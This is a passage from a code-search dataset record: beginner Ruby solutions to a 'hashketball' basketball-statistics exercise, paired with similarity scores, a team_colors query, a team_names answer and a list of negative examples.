"def player_numbers(team_name)\n nums = []\n \n tname = false\n game_hash.each do |location, team_hash|\n\n \n #the below is actually iterating through the keys of the hash containing the team info, because the value of game_hash is....another hash\n team_hash.each do |key, vals|\n \n #set flag to true if it's the right team\n if vals == team_name \n tname = true \n # this makes sure I'm only iterating through the right pair to begin with\n if key == :players && tname == true # might need to swap these two\n vals.each do |player, stat| # remember stat is a hash (the value of the player name)!\n \n #push the stat into the array if it's the jersey number, otherwise keep iterating. \n nums << stat.fetch_values(:number)\n end\n end\n end\n end\n end\n nums.flatten\nend",
"def get_all_players\n ## Version 2.0 ##\n\n # Same steps, but with a slight tweak...\n all_players = {}\n\n # We don't need team. We only want to loop through the data.\n # So, why don't we use .values to and then just loop through the values\n # in the hash!\n game_hash.values.each do |team_data|\n all_players.merge! team_data[:players]\n end\n\n all_players\nend",
"def shoe_size(player_name)\n game_hash.each do |team, team_stats|\n team_stats[:players].each do |player|\n \n if player[:player_name] == player_name\n return player[:shoe]\n end\n end\n end\nend",
"def shoe_size(player_name)\n game_hash.each do |location, team_data|\n team_data[:players].each do |attributes|\n if attributes[:player_name] == player_name\n return attributes[:shoe]\n end\n end\n end\nend",
"def winning_team\n home_points = 0\n away_points = 0\n result = \"\"\n i = 0\n game_hash.each do |team, about|\n about[:players].each do |name , stats|\n if i == 0\n home_points += stats[:points]\n else\n away_points += stats[:points]\n end\n end\n i += 1\n end\n home_points > away_points ? result = game_hash[:home][:team_name] : result = game_hash[:away][:team_name]\nend",
"def shoe_size(player_name)\n player_shoe_size = nil\n game_hash.each do |team, team_stats|\n team_stats[:players].each do |player_stats|\n if player_stats[:player_name] == player_name\n player_shoe_size = player_stats[:shoe]\n end\n end\n end\n player_shoe_size\nend",
"def player_numbers(team_name)\n result = []\n game_hash.each do |team, about|\n if team_name == about[:team_name]\n about[:players].each do |name, stats|\n result << stats[:number]\n end\n end\n end\n result\nend",
"def winning_team\n most_points_scored_helper\n winning_team = \"\"\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if most_points_scored_helper == element[:points]\n winning_team = value[:team_name]\n end\n end\n end\n winning_team\nend",
"def teams\ngame_hash.keys.reduce([]) do |memo, key|\n memo << game_hash[key]\n end\nend",
"def shoe_size(name)\n game_hash.each do |team, team_data|\n team_data[:players].each do |player_name, player_data|\n if player_name == name\n return player_data[:shoe]\n end\n end\n end\nend",
"def player_stats(player_name)\n game_hash.each do |location, data|\n data[:players].each do |player, data_items|\n return data_items if player == \"#{player_name}\"\n end\n end\nend",
"def player_numbers(team_name)\n jersey_nums = []\n game_hash.each do |place, team|\n if team[:team_name] == team_name\n team.each do |attribute, player_info|\n if attribute == :players\n player_info.each do |data|\n jersey_nums << data[:number]\n end\n end\n end\n end\n end\n jersey_nums\nend",
"def player_stats(player_name)\n game_hash.each do |location, team_data|\n team_data.each do |attributes, data|\n if attributes == :players\n data.each do |data_item|\n if player_name == data_item[:player_name]\n return data_item\n end\n end\n end\n end\n end\nend",
"def player_numbers(selected_team)\n game_hash.values.each do |team|\n if team.has_value?(selected_team)\n return team[:players].map {|jerseys| jerseys[:number]}\n end\n end\nend",
"def player_stats(player_name)\n player_stats = {}\n \n game_hash.each do |key, value|\n players = value[:players]\n players.each do |element|\n if player_name == element[:player_name]\n player_stats = element\n end\n end\n end\n player_stats\nend",
"def big_shoe_rebounds()\n\nshoe_size = 0\nrebounds = 0\n\ngame_hash.each do |team, team_stats|\n team_stats[:players].each do |stats|\n if stats[:shoe] > shoe_size\n shoe_size = stats[:shoe]\n rebounds = stats[:rebounds]\n end\n end\n end\nrebounds\nend",
"def player_numbers(team)\n player_numbers = []\n game_hash.each do |location, attributes|\n if attributes[:team_name] == team\n attributes[:players].each do |player, stats|\n player_numbers << stats[:number]\n end\n end\n end\n player_numbers\nend",
"def player_numbers (name=\"Brooklyn Nets\")\n n = []\n game_hash.each do |location, team_data|\n if(team_data[:team_name] == name)\n team_data[:players].each do |key, data|\n n << data[:number]\n end\n end\n end\n\n n\nend",
"def get_players \n game_hash[:away][:players] += game_hash[:home][:players]\nend",
"def iterate_through_players_for(name, statistic)\n game_hash.each do |_team, game_data|\n game_data[:players].each do |player|\n return player[statistic] if player[:player_name] == name\n end\n end\nend",
"def player_shoe_size(player, hashketball)\r\n player.capitalize!\r\n if hashketball[:home][:players].include?(player)\r\n hashketball[:home][:players][player][:shoe_size]\r\n elsif hashketball[:away][:players].include?(player)\r\n hashketball[:away][:players][player][:shoe_size]\r\n else\r\n \"No player found.\"\r\n end\r\nend",
"def big_shoe_rebounds\n biggest_shoe = 0\n rebounds = 0\n game_hash.each do |team, all_info_hash|\n all_info_hash[:players].each do |player_information_hash|\n if player_information_hash[:shoe] > biggest_shoe\n biggest_shoe = player_information_hash[:shoe] \n rebounds = player_information_hash[:rebounds] \n end\n end\n end\n rebounds\nend",
"def shoe_size(player)\n shoe_size = 0\n game_hash[:home][:players].each do |player_name, player_info_hash|\n # player_name = home game player names string(key), player_info_hash = player_info_hash = :number, :shoe, :points, :rebounds, :assists, :steals, :blocks, :slam_dunks\n if player == player_name\n\t\t\tshoe_size = player_info_hash[:shoe]\n\t\tend\n\tend\n\tgame_hash[:away][:players].each do |player_name, player_info_hash|\n\t\tif player == player_name\n\t\t\tshoe_size = player_info_hash[:shoe]\n\t\tend\n\tend\n\tshoe_size\nend",
"def player_numbers(team_name)\n jersey_numbers = []\n game_hash.keys.each do |location|\n next unless game_hash[location][:team_name] == team_name\n\n game_hash[location][:players].keys.each do |name|\n jersey_numbers.push(game_hash[location][:players][name][:number])\n end\n end\n jersey_numbers\nend",
"def shoe_size(player_name)\n # i want all the players first <= simplify it ideally\n # so i can look through them\n # find the player that matches the name\n\n\n # found_player = all_players.find do |player| # Hash\n # player[:player_name] == player_name\n # end\n\n # get the shoe size for that player\n found_player(player_name)[:shoe]\nend",
"def team_names\n game_hash.collect do |location, attributes|\n attributes[:team_name]\n end\nend"
] |
[
"0.77439094",
"0.76093245",
"0.757968",
"0.7477942",
"0.74649817",
"0.7461113",
"0.7421426",
"0.73780763",
"0.73740244",
"0.7354368",
"0.73344254",
"0.73238623",
"0.7307648",
"0.7305775",
"0.72832406",
"0.7281554",
"0.72787476",
"0.72727823",
"0.72676015",
"0.72521496",
"0.7237654",
"0.7226259",
"0.7216943",
"0.7215258",
"0.72150844",
"0.7204488",
"0.71959335",
"0.7192749",
"0.719179",
"0.718857",
"0.7162048",
"0.7155845",
"0.7149333",
"0.7148328",
"0.7146435",
"0.7136287",
"0.7130111",
"0.7127093",
"0.71238416",
"0.7105343",
"0.71029097",
"0.7100226",
"0.7096107",
"0.7092518",
"0.7086931",
"0.7085035",
"0.7085035",
"0.70773804",
"0.70697105",
"0.70550907",
"0.70502114",
"0.70470756",
"0.7038912",
"0.70383954",
"0.7035675",
"0.7015931",
"0.7007283",
"0.7006145",
"0.7002545",
"0.699459",
"0.69912416",
"0.6983148",
"0.6967973",
"0.6961113",
"0.6959768",
"0.69577324",
"0.6955857",
"0.6951344",
"0.694781",
"0.69472605",
"0.69324166",
"0.6928756",
"0.692863",
"0.69258994",
"0.6924895",
"0.6919091",
"0.69115776",
"0.6905235",
"0.6903633",
"0.6901806",
"0.6900224",
"0.6894291",
"0.6893657",
"0.68904436",
"0.6888136",
"0.6880696",
"0.6877144",
"0.68725836",
"0.6871211",
"0.6871069",
"0.6870812",
"0.6868749",
"0.68629205",
"0.6861605",
"0.68580997",
"0.6855618",
"0.6850795",
"0.68295366",
"0.6828649",
"0.6810238",
"0.6806214"
] |
0.0
|
-1
|
def team_colors(team) game_hash[:home].each do |ke,va| if va == team return game_hash[:home][:colors] end end game_hash[:away].each do |k,v| if v == team end return game_hash[:away][:colors] end end
|
def team_names
new_array = []
game_hash.each do |k,v|
new_array.push(v[:team_name])
end
new_array
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def team_colors(team)\n game_hash.each do |side, value|\n if value[:team_name] == team\n return value[:colors]\n end\n end\n end",
"def team_colors(team)\n game_hash.each do |location, team_data|\n if team_data[:team_name] == team\n return team_data[:colors]\n end\n end\nend",
"def team_colors(team)\n # PREVIOUS SOLUTION\n # if game_hash[:home][:team_name] == team\n\t# \tteam_colors = game_hash[:home][:colors]\n\t# elsif game_hash[:away][:team_name] == team\n\t# \tteam_colors = game_hash[:away][:colors]\n\t# end\n game_hash.each do |location, team_info_hash|\n # location = :home,:away; players_hash = :team_name, :colors, :players\n return team_info_hash[:colors] if team_info_hash[:team_name] == team\n end\nend",
"def team_colors(team_name, game)\n return game[:home_team][:team_colors] if game[:home_team][:team_name] == team_name\n return game[:away_team][:team_colors] if game[:away_team][:team_name] == team_name\nend",
"def team_colors(team)\n game_hash.each do |location, attributes|\n if attributes[:team_name] == team\n return attributes[:colors]\n end\n end\nend",
"def team_colors(team_name)\n game_hash.each do |place, team|\n if team[:team_name] == team_name\n return team[:colors]\n end\n end\nend",
"def team_colors(team_name)\n\tright_team = nil\n\tgame_hash.each do |home_or_away, data|\n\t\tdata.each do |attribute, value|\n\t\t\tif attribute == :team_name && value == team_name\n\t\t\t\tright_team = home_or_away\n\t\t\tend\n\t\tend\n\tend\n\treturn game_hash[right_team][:colors]\nend",
"def team_colors(team)\n \n data = game_hash\n teams = team_name_stats(data)\n \n teams.each_pair do |team_name, team_hash|\n if team_name == team\n team_hash.each_pair do |team_key, team_value|\n if team_key == :colors\n return team_value\n end\n end\n end\n end\n \n nil \nend",
"def team_colors(team_name)\n game_hash.each do |location, team_data|\n\t\tif team_data[:team_name] == team_name\n\t\t\treturn team_data[:colors]\n\t\tend\n\tend\nend",
"def team_colors(team_name)\n if team_name == \"Brooklyn Nets\"\n return game_hash[:home][:colors]\n else\n return game_hash[:away][:colors]\n end \nend",
"def team_colors(team_name)\n result = nil\n game_hash.each do |team, about|\n if about[:team_name] == team_name\n result = about[:colors]\n end\n end\n result\nend",
"def team_colors (team_name)\n colors = nil\n game_hash.each do |team, all_info_hash|\n if all_info_hash[:team_name] == team_name\n colors = all_info_hash[:colors].flatten\n end\n end\n colors\nend",
"def team_colors(team_name)\n game_hash.keys.each do |location|\n return game_hash[location][:colors] if game_hash[location][:team_name] == team_name\n end\nend",
"def team_colors(user_team_name)\n game_hash.each do |k, team|\n if team[:team_name] == user_team_name\n return team[:colors]\n end\n end\nend",
"def team_colors(team_name)\n \n game_hash.each do |team, attributes|\n attributes.each do |key, value|\n if value == team_name \n return game_hash[team][:colors]\n \n end\n end\n end\n \nend",
"def team_colors(team_name)\n team_colors = nil\n game_hash.map do |team, team_stats|\n if team_stats[:team_name] == team_name\n team_colors = team_stats[:colors]\n end\n end\n team_colors\nend",
"def team_colors(team_name)\n # returns an array of team colors for team_name\n game_hash.each do |location, team_hash|\n team_hash.each do |team_keys, team_values|\n if team_hash[:team_name] == team_name && team_keys == :colors\n return team_values\n end\n end\n end\n end",
"def team_colors(teamname)\nif game_hash[:home][:team_name] == teamname\n #returns the arrar if team_name matches teamname\n game_hash[:home][:colors]\nelsif game_hash[:away][:team_name] == teamname\n game_hash[:away][:colors]\nend\nend",
"def team_colors(name)\n game_hash.each do |location, team_data|\n if team_data[:team_name] == name\n return team_data[:colors]\n end\n end\nend",
"def team_colors(team_name)\n (game_hash[:home][:team_name] == team_name.to_s) ? team = :home : team = :away\n game_hash[team][:colors]\nend",
"def team_colors(team_name)\n if team_name == \"Brooklyn Nets\"\n game_hash[:home][:colors]\n else\n game_hash[:away][:colors]\n end\nend",
"def team_colors (team_name)\n answer = nil\n game_hash.collect do |team_key, team_value|\n if team_value[:team_name] == team_name\n answer = team_value[:colors]\n end\n end\n answer\nend",
"def team_colors(team_name)\n game_hash.each do |home_away, keys|\n if keys[:team_name] == team_name\n return keys[:colors].map(&:capitalize)\n end\n end\nend",
"def team_colors(team_name)\n game_hash.each do |home_away, keys|\n if keys[:team_name] == team_name\n return keys[:colors].map(&:capitalize)\n end\n end\nend",
"def team_colors(name_of_team)\n # using .each do |team, random| game_hash[team].each do |name, random| to iterate over each piece of data\n # then, if the name_of_team is equal to random, we'll get a return value of the colors of each team.\n game_hash.each do |team, random|\n game_hash[team].each do |name, random|\n if name_of_team == random\n return game_hash[team][:colors]\n end\n end\n end\nend",
"def team_colors(team_name)\n team_colors =[]\n \n game_hash.each do |key, value|\n if team_name == value[:team_name]\n team_colors = value[:colors]\n end\n end\n team_colors\nend",
"def team_colors(team_name)\n game_hash.each do |location, team_data|\n if team_data[:team_name] == team_name\n return team_data[:colors].to_a \n end\n end\nend",
"def team_colors(team_name)\n team_color = []\n game_hash.find do |team,info|\n if info[:team_name] == team_name\n team_color = info[:colors]\n end\n info[:team_name] == team_name\n end\n team_color\nend",
"def team_colors(t_name)\n game_hash.collect do |key, value|\n value.collect do |key2, value2|\n\n if game_hash[key].values.include?(t_name)\n\n if key2 == :colors\n return value2\n end\n end\n end\n end\n end",
"def team_colors(team_name)\n colors = []\n #top level\n game_hash.each do |location, team_data|\n #1st (team name)\n if team_data[:team_name].join == team_name\n #2nd level\n team_data.each do |team_deets, values|\n #colors pair\n if team_deets == :colors\n colors << values\n end\n end\n end\n end\n colors = colors.flatten\nend",
"def team_colors(team_name)\n found_team = all_team_info(team_name)\n found_team[:colors]\nend",
"def team_colors(team_n)\n game_hash.each do |location, team_data|\n #binding.pry\n if (team_data[:team_name] == team_n)\n return team_data[:colors].split(\", \")\n end\n end\n return nil\nend",
"def team_colors(team, hashketball)\r\n sym = team.to_sym\r\n if hashketball.include?(sym)\r\n hashketball[sym][:colors]\r\n else\r\n \"Try home or away.\"\r\n end\r\nend",
"def get_colors( team )\r\n\t\tif @colors_hash.has_key?( team )\r\n\t\t\treturn @colors_hash[team]\r\n\t\telse\r\n\t\t\treturn DEFAULT_COLORS\r\n\t\tend\r\n\tend",
"def team_colors (team)\n cala=[]\n game_hash.each do|status,information|\n # puts status[0]\n cala=information[:colors] if information[:team_name]==team\n # information.each do |cata,subinfo|\n # puts :team_name[subinfo] if cata==:colors\n # end\n end\n cala\nend",
"def team_colors (team_name)\n lookup_by_team(team_name)[:colors];\nend",
"def team_colors(team_name)\n one_team_stats(team_name)[:colors]\nend",
"def team_colors(teamName)\n teamSelect(teamName)[:colors]\n\n end",
"def team_colors(arg_team_name)\n infoAboutAsingleTeam = find_a_single_team_based_on_name(arg_team_name)\n infoAboutASingleTeam[1][:colors]\n #the above is the implicit returnand find will always return an array of 2\n #and you can uise the index to find a color \n #if you dont know the index THEN its okay to write an if statement to check if its the index that you are at\n\n binding.pry\nend",
"def all_team_info(team_name)\n team_info = game_hash.find do |color, team_data|\n team_data[:team_name] == team_name\n end\n team_info[1]\nend",
"def get_board_colors(game)\n board_colors = {}\n [1,2,3,4,5,6,7,8,9,10,11,12].each do |num|\n ['A','B','C','D','E','F', 'G','H','I'].each do |letter|\n cell = (num.to_s + letter)\n board_colors[cell] = 'none'\n end\n end \n \n placed_tiles = game.game_tiles.where(placed: true)\n placed_tiles.each do |game_tile|\n hotel = game_tile.hotel\n color = game.get_hotel_color(hotel)\n board_colors[game_tile.cell] = color\n end\n\n board_colors\n end",
"def team_names\n data = game_hash\n all_teams = []\n \n data.each_pair do |home_away, home_away_hash|\n home_away_hash.each_pair do |team_key, team_value|\n \n if team_key == :team_name\n all_teams << team_value\n end\n \n end\n end\n all_teams\nend",
"def team_names\n team_names = []\n game_hash.each do |home_or_away, team_stats|\n team_names << team_stats[:team_name]\n end\n team_names\nend",
"def one_team_stats(team_name)\n game_hash.each do |home_or_away, team_stats|\n if team_stats[:team_name] == team_name\n return team_stats\n end\n end\nend",
"def team_names\n game_hash.collect {|home_or_away, stats| team_name = stats[:team_name].to_s}\nend",
"def team_names\n [\n game_hash.dig(:home, :team_name),\n game_hash.dig(:away, :team_name)\n ]\nend",
"def all_players_for_a_team(team_name, game)\n player_names = []\n game[:home_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:home_team][:team_name] == team_name\n end\n game[:away_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:away_team][:team_name] == team_name\n end\n player_names\nend",
"def teams\n game_hash.values\n end",
"def team_names\n teams = []\n teams << game_hash[:home][:team_name]\n teams << game_hash[:away][:team_name]\n return teams\nend",
"def team_names\n team = []\n game_hash.values.each do |team_info|\n team << team_info[:team_name]\n end\n team\nend",
"def player_numbers(team_name)\n team_player_numbers = []\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors && info[:team_name] == team_name\n team_data.each do |player_index|\n team_player_numbers << player_index[:number]\n end\n end\n end\n end\n end\n team_player_numbers\nend",
"def red_team\n teams[2]\n end",
"def find_teams(league)\n teams = []\n league.each do |team|\n teams << team[:home_team]\n teams << team[:away_team]\n end\n uniq_teams = teams.uniq!\nend",
"def colors_from_hash(match, hash); end",
"def winning_team\n home_team_sum = 0\n away_team_sum = 0\n game_hash.each do |team, team_stats|\n if team_stats[:team_name] == \"Brooklyn Nets\"\n team_stats[:players].each do |player_stats|\n home_team_sum += player_stats[:points]\n end\n elsif team_stats[:team_name] == \"Charlotte Hornets\"\n team_stats[:players].each do |player_stats|\n away_team_sum += player_stats[:points]\n end\n end\n end\n if home_team_sum > away_team_sum\n game_hash[:home][:team_name]\n elsif home_team_sum < away_team_sum\n game_hash[:away][:team_name]\n end\nend",
"def winning_team\n points_home = 0\n points_away = 0\n result = \"\"\n\n game_hash.each do |side,team|\n team.each do |specs,info|\n if specs == :players\n info.each do |player|\n if side = :home\n points_home += player[:points]\n else\n points_away += player[:points]\n end\n end\n end\n end\n end\n if points_home > points_away\n result = game_hash[:home][:team_name]\n else\n result = game_hash[:away][:team_name]\n end\n result\nend",
"def blue_team\n teams[1]\n end",
"def team_names\n teams = []\n teams << game_hash[:home][:team_name] << game_hash[:away][:team_name]\nend",
"def winning_team\n home_points = 0\n away_points = 0\n team1 = \"Brooklyn Nets\"\n team2 = \"Charlotte Hornets\"\n game_hash.each do |team,info|\n info.each do |team_info,team_data|\n if team_data.is_a? (Array) \n if team_info != :colors\n if info[:team_name] == \"Brooklyn Nets\"\n team_data.each do |player_index|\n home_points += player_index[:points]\n end\n else \n team_data.each do |player_index|\n away_points += player_index[:points]\n winning_team end\n end\n end\n end\n end\n end\n\n if home_points > away_points\n team1\n else\n team2\n end\n\nend",
"def team_names\n team_name = []\n game_hash.each do |team,info|\n team_name << info[:team_name]\n end\n team_name\nend",
"def team_names\n arrayOfTeamNames = [] #initialize new hash\n arrayOfTeamNames << game_hash[:home][:team_name]\n arrayOfTeamNames << game_hash[:away][:team_name] #shovel it with the data\nend",
"def tanks_on_team(color)\n if color == @my_color\n @map.mytanks.select{ |t| t.status == \"normal\" }\n else\n @map.othertanks.select{ |t| t.color == color && t.status == \"normal\" }\n end\n end",
"def game_hash\n {\n :home => {\n :team_name=> \"Brooklyn Nets\",\n :colors=> [\"Black\", \"White\"],\n :players=> [\n {\n :name=> \"Alan Anderson\",\n :number=>0,\n :shoe=>16,\n :points=>22,\n :rebounds=>12,\n :assists=>12,\n :steals=>3,\n :blocks=>1,\n :slam_dunks=>1,\n },\n {\n :name=> \"Reggie Evans\",\n :number=>30,\n :shoe=>14,\n :points=>12,\n :rebounds=>12,\n :assists=>12,\n :steals=>12,\n :blocks=>12,\n :slam_dunks=>7,\n },\n {\n :name=> \"Brook Lopez\",\n :number=>11,\n :shoe=>17,\n :points=>17,\n :rebounds=>19,\n :assists=>10,\n :steals=>3,\n :blocks=>1,\n :slam_dunks=>15,\n },\n {\n :name=> \"Mason Plumlee\",\n :number=>1,\n :shoe=>19,\n :points=>26,\n :rebounds=>12,\n :assists=>6,\n :steals=>3,\n :blocks=>8,\n :slam_dunks=>5,\n },\n {\n :name=> \"Jason Terry\",\n :number=>31,\n :shoe=>15,\n :points=>19,\n :rebounds=>2,\n :assists=>2,\n :steals=>4,\n :blocks=>11,\n :slam_dunks=>1,\n },\n ],\n },\n\n :away => {\n :team_name=> \"Charlotte Hornets\",\n :colors=> [\"Turquoise\", \"Purple\"],\n :players=> [\n {\n :name=> \"Jeff Adrien\",\n :number=>4,\n :shoe=>18,\n :points=>10,\n :rebounds=>1,\n :assists=>1,\n :steals=>2,\n :blocks=>7,\n :slam_dunks=>2,\n },\n {\n :name=> \"Bismak Biyombo\",\n :number=>0,\n :shoe=>16,\n :points=>12,\n :rebounds=>4,\n :assists=>7,\n :steals=>7,\n :blocks=>15,\n :slam_dunks=>10,\n },\n {\n :name=> \"DeSagna Diop\",\n :number=>2,\n :shoe=>14,\n :points=>24,\n :rebounds=>12,\n :assists=>12,\n :steals=>4,\n :blocks=>5,\n :slam_dunks=>5,\n },\n {\n :name=> \"Ben Gordon\",\n :number=>8,\n :shoe=>15,\n :points=>33,\n :rebounds=>3,\n :assists=>2,\n :steals=>1,\n :blocks=>1,\n :slam_dunks=>0,\n },\n {\n :name=> \"Brendan Haywood\",\n :number=>33,\n :shoe=>15,\n :points=>6,\n :rebounds=>12,\n :assists=>12,\n :steals=>22,\n :blocks=>5,\n :slam_dunks=>12,\n },\n ],\n }\n}\nend",
"def team_names\n fin_arr = []\n fin_arr << game_hash[:home][:team_name]\n fin_arr << game_hash[:away][:team_name]\n fin_arr\nend",
"def game_hash \n hash = {:home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => {\n \"Alan Anderson\" => {\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n \"Reggie Evans\" => {\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds => 12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n },\n \"Brook Lopez\" => {\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n \"Mason Plumlee\" => {\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 11,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n \"Jason Terry\" => {\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n }\n },\n :away => {:team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players => {\n \"Jeff Adrien\" => {\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n \"Bismack Biyombo\" => {\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 22,\n :blocks => 15,\n :slam_dunks => 10\n },\n \"DeSagna Diop\" => {\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n \"Ben Gordon\" => {\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks => 1,\n :slam_dunks => 0\n },\n \"Kemba Walker\" => {\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 7,\n :blocks => 5,\n :slam_dunks => 12\n }\n }\n }\n }\n \nend",
"def player_numbers(team_name)\n outcome = []\n game_hash.each do |home_or_away, team_details|\n team_details.each do |key,value|\n if value == team_name\n game_hash[home_or_away][:players].each do |one_hash|\n one_hash.each do |key1,value1|\n if key1 == :number \n outcome << one_hash[key1]\n end\n end\n end \n end\n end\n end\n outcome\nend",
"def team_names\n team_names = []\n #top level\n game_hash.each do |location, team_data|\n #2nd level\n team_data.each do |team_deets, values|\n #find team name pair\n if team_deets == :team_name\n team_names << team_data[team_deets]\n end\n end\n end\n team_names = team_names.flatten\nend",
"def player_data_by_team(team)\n players = []\n if team == game_hash[:home][:team_name]\n players << game_hash[:home][:players]\n else\n players << game_hash[:away][:players]\n end\n return players.flatten\nend",
"def home_or_away(team_name)\n game_hash[team_name][:status]\nend",
"def winning_team\n home_points = 0\n away_points = 0\n result = \"\"\n i = 0\n game_hash.each do |team, about|\n about[:players].each do |name , stats|\n if i == 0\n home_points += stats[:points]\n else\n away_points += stats[:points]\n end\n end\n i += 1\n end\n home_points > away_points ? result = game_hash[:home][:team_name] : result = game_hash[:away][:team_name]\nend",
"def team_names()\n result = []\n game_hash.each do |side,team|\n result.push(team[:team_name])\n end\n result\nend",
"def team_names\n # built an empty array called teams\n teams = []\n # game_hash.each do |team, random| iterates over the hash to return all of the team_names\n game_hash.each do |team, random|\n teams.push(game_hash[team][:team_name])\n end\n return teams\nend",
"def game_hash\n {\n :home => {\n team_name: \"Brooklyn Nets\",\n colors: [\"Black\", \"White\"],\n :players => {\n \"Alan Anderson\" => {\n number: 0,\n shoe: 16,\n points: 22,\n rebounds: 12,\n assists: 12,\n steals: 3,\n blocks: 1,\n slam_dunks: 1\n },\n \"Reggie Evans\" => {\n number: 30,\n shoe: 14,\n points: 12,\n rebounds: 12,\n assists: 12,\n steals: 12,\n blocks: 12,\n slam_dunks: 7\n },\n \"Brook Lopez\" => {\n number: 11,\n shoe: 17,\n points: 17,\n rebounds: 19,\n assists: 10,\n steals: 3,\n blocks: 1,\n slam_dunks: 15\n },\n \"Mason Plumlee\" => {\n number: 1,\n shoe: 19,\n points: 26,\n rebounds: 12,\n assists: 6,\n steals: 3,\n blocks: 8,\n slam_dunks: 5\n },\n \"Jason Terry\" => {\n number: 31,\n shoe: 15,\n points: 19,\n rebounds: 2,\n assists: 2,\n steals: 4,\n blocks: 11,\n slam_dunks: 1\n }\n }\n },\n :away => {\n team_name: \"Charlotte Hornets\",\n colors: [\"Turquoise\", \"Purple\"],\n :players => {\n \"Jeff Adrien\" => {\n number: 4,\n shoe: 18,\n points: 10,\n rebounds: 1,\n assists: 1,\n steals: 2,\n blocks: 7,\n slam_dunks: 2\n },\n \"Bismak Biyombo\" => {\n number: 0,\n shoe: 16,\n points: 12,\n rebounds: 4,\n assists: 7,\n steals: 7,\n blocks: 15,\n slam_dunks: 10\n },\n \"DeSagna Diop\" => {\n number: 2,\n shoe: 14,\n points: 24,\n rebounds: 12,\n assists: 12,\n steals: 4,\n blocks: 5,\n slam_dunks: 5\n },\n \"Ben Gordon\" => {\n number: 8,\n shoe: 15,\n points: 33,\n rebounds: 3,\n assists: 2,\n steals: 1,\n blocks: 1,\n slam_dunks: 0\n },\n \"Brendan Haywood\" => {\n number: 33,\n shoe: 15,\n points: 6,\n rebounds: 12,\n assists: 12,\n steals: 22,\n blocks: 5,\n slam_dunks: 12\n }\n }\n }\n }\nend",
"def game_hash\n { :home => {\n :team_name => \"Brooklyn Nets\",\n :colors => [\"Black\", \"White\"],\n :players => {\n \"Alan Anderson\" =>{\n :number => 0,\n :shoe => 16,\n :points => 22,\n :rebounds => 12,\n :assists => 12,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 1\n },\n \"Reggie Evans\" => {\n :number => 30,\n :shoe => 14,\n :points => 12,\n :rebounds =>12,\n :assists => 12,\n :steals => 12,\n :blocks => 12,\n :slam_dunks => 7\n \n },\n \"Brook Lopez\" => {\n :number => 11,\n :shoe => 17,\n :points => 17,\n :rebounds => 19,\n :assists => 10,\n :steals => 3,\n :blocks => 1,\n :slam_dunks => 15\n },\n \n \"Mason Plumlee\" => {\n :number => 1,\n :shoe => 19,\n :points => 26,\n :rebounds => 12,\n :assists => 6,\n :steals => 3,\n :blocks => 8,\n :slam_dunks => 5\n },\n \"Jason Terry\" =>{\n :number => 31,\n :shoe => 15,\n :points => 19,\n :rebounds => 2,\n :assists => 2,\n :steals => 4,\n :blocks => 11,\n :slam_dunks => 1\n }\n }\n \n \n },\n \n :away =>{\n :team_name => \"Charlotte Hornets\",\n :colors => [\"Turquoise\", \"Purple\"],\n :players =>{\n \"Jeff Adrien\" =>{\n :number => 4,\n :shoe => 18,\n :points => 10,\n :rebounds => 1,\n :assists => 1,\n :steals => 2,\n :blocks => 7,\n :slam_dunks => 2\n },\n \"Bismak Biyombo\"=>{\n :number => 0,\n :shoe => 16,\n :points => 12,\n :rebounds => 4,\n :assists => 7,\n :steals => 7,\n :blocks => 15,\n :slam_dunks => 10\n },\n \"DeSagna Diop\" =>{\n :number => 2,\n :shoe => 14,\n :points => 24,\n :rebounds => 12,\n :assists => 12,\n :steals => 4,\n :blocks => 5,\n :slam_dunks => 5\n },\n \"Ben Gordon\" =>{\n :number => 8,\n :shoe => 15,\n :points => 33,\n :rebounds => 3,\n :assists => 2,\n :steals => 1,\n :blocks =>1 ,\n :slam_dunks => 0\n },\n \"Brendan Haywood\" =>{\n :number => 33,\n :shoe => 15,\n :points => 6,\n :rebounds => 12,\n :assists => 12,\n :steals => 22 ,\n :blocks => 5,\n :slam_dunks => 12\n \n }\n }\n }\n }\n \nend",
"def both_team_names(game)\n both_teams = []\n both_teams << game[:home_team][:team_name]\n both_teams << game[:away_team][:team_name]\n both_teams\nend",
